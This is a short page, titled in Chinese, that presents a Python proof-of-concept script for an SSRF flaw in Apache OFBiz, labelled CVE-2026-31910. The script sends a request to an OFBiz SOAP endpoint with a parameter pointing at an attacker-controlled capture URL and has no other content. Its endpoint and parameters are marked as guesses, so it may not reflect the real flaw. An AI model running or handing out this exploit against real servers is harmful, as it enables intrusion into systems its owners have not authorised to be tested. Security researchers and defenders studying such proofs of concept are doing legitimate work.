CVE-2026-31910 Apache OFBiz SSRF漏洞

import requests # PoC for CVE-2026-31910 (Apache OFBiz SSRF) # Note: Replace the target URL and vulnerable endpoint based on actual analysis target_host = "http://target-ofbiz-server:8080" attacker_controlled_url = "http://attacker-server.com/capture" # Common vulnerable endpoint pattern in OFBiz (example) vulnerable_endpoint = "/webtools/control/SOAPService" # Payload to trigger SSRF payload = { "service": "ping", "url": attacker_controlled_url } try: print(f"[*] Attempting to send SSRF request to {target_host}...") response = requests.get(f"{target_host}{vulnerable_endpoint}", params=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check attacker server for inbound connections.") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")